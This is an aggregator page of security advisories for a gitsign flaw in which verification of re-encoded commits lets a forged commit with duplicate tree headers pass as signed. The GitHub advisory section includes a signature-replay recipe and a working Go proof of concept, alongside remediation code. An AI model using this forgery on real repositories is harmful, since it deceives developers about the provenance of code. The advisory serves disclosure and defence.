Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 08:36 UTC Customize Public modeDiscuss ChangeIntel on Discord

gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-44309

Published

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. Prior to 0.16.0, gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. This vulnerability is fixed in 0.16.0.

Source published
15 May 2026 16:22:51 UTC
Source modified
15 May 2026 17:43:59 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

euvd · EUVD-2026-30563

Published

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. Prior to 0.16.0, gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. This vulnerability is fixed in 0.16.0.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 15, 2026, 4:22:51 PM

dateUpdated: May 15, 2026, 5:43:59 PM

Source published
May 15, 2026, 4:22:51 PM (timezone not stated)
Source modified
May 15, 2026, 5:43:59 PM (timezone not stated)
Observed here
28 Oct 2026 06:06:57 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

nvd · CVE-2026-44309

Published

Gitsign is a keyless Sigstore to signing tool for Git commits with your a GitHub / OIDC identity. Prior to 0.16.0, gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. This vulnerability is fixed in 0.16.0.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-295 · CWE-347

Original publisher date fields

published: 2026-05-15T17:16:47.297

lastModified: 2026-10-26T14:10:00.130

Source published
15 May 2026 17:16:47 UTC
Source modified
26 Oct 2026 14:10:00 UTC
Observed here
27 Oct 2026 11:12:09 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

osv · GHSA-7rmh-48mx-2vwc

Published

## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. ## Severity **Medium** (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote - **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) - **Privileges Required:** None — the most impactful form (signature replay) requires no signing key - **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit - **Scope:** Unchanged — impact is confined to the repository under verification - **Confidentiality Impact:** None - **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users - **Availability Impact:** None ## Affected Component - `internal/commands/verify/verify.go` — `(o *options).Run` (line 75) - `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77) - `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176) ## CWE - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered) ## Description ### Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63–92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76–95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` ### The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137–142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves. ### Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them: ```go // internal/commands/root/verify.go:56–70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). ### Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice <[email protected]> ... committer Alice <[email protected]> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature over T1 canonical form> -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice <[email protected]> ... committer Alice <[email protected]> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature — replayed verbatim> -----END SIGNED MESSAGE----- This is Alice's commit. ``` - **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from [email protected]." - **`git log` / `git-core`**: uses T2 (attacker-controlled content). - **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. ## Proof of Concept ```go // poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <[email protected]> 1700000000 +0000" committer := "committer Eve <[email protected]> 1700000000 +0000" msg := "msg\n" // Sign the go-git canonical form (second tree only) canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg) id := &identity{cert: cert, priv: priv} resp, err := signature.Sign(context.Background(), id, []byte(canonicalData), signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0}) if err != nil { panic(err) } // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git) malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s", treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg) st := memory.NewStorage() enc := st.NewEncodedObject() enc.SetType(plumbing.CommitObject) w, _ := enc.Writer() _, _ = w.Write([]byte(malformedRaw)) _ = w.Close() c, err := object.DecodeCommit(st, enc) if err != nil { panic(err) } // Reproduce what gitsign verify does out := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(out); err != nil { panic(err) } r, _ := out.Reader() verifyData, _ := io.ReadAll(r) roots := x509.NewCertPool() roots.AddCert(cert) v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots)) _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true) objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature)) rawObj := &plumbing.MemoryObject{} rawObj.SetType(plumbing.CommitObject) _, _ = rawObj.Write([]byte(malformedRaw)) fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst) fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond) fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String()) fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData) fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted fmt.Println("OBJECTHASH_ERROR:", oerr) fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash) fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash } ``` **Expected output:** ``` FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb VERIFY_DATA_EQUALS_CANONICAL: true CERT_VERIFY_ERROR: <nil> ← signature accepted OBJECTHASH_ERROR: <nil> OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form> RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split ``` ## Impact - **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key. - **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability. ## Recommended Remediation ### Option 1: Verify against raw bytes (preferred) Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`: ```go // internal/commands/verify/verify.go — replace lines 63–92 enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h) if err != nil { return fmt.Errorf("error reading encoded commit object: %w", err) } r, err := enc.Reader() if err != nil { return err } rawBytes, err := io.ReadAll(r) if err != nil { return err } data, sig, err := git.ExtractSignatureFromRawObject(rawBytes) if err != nil { return err } // data is now the raw bytes without the gpgsig header — identical to what git-core passes summary, err := v.Verify(ctx, data, sig, true) ``` This aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly. ### Option 2: Detect and reject malformed objects Add a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing: ```go func validateRawCommitFields(data []byte) error { seen := map[string]bool{} for _, line := range bytes.Split(data, []byte("\n")) { if idx := bytes.IndexByte(line, ' '); idx > 0 { key := string(line[:idx]) if seen[key] { return fmt.Errorf("malformed commit: duplicate field %q", key) } seen[key] = true } if len(line) == 0 { break // end of headers } } return nil } ``` This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

Source published
8 May 2026 22:38:50 UTC
Source modified
10 Sep 2026 03:50:46 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Publisher rating · MODERATE

osv · GO-2026-5233

Published

gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits in github.com/sigstore/gitsign

Source published
25 Jun 2026 18:43:15 UTC
Source modified
25 Jun 2026 19:45:17 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 28 Oct 08:36 UTC · 272 of 272 readable · 268 fully read · documentation 469/469 current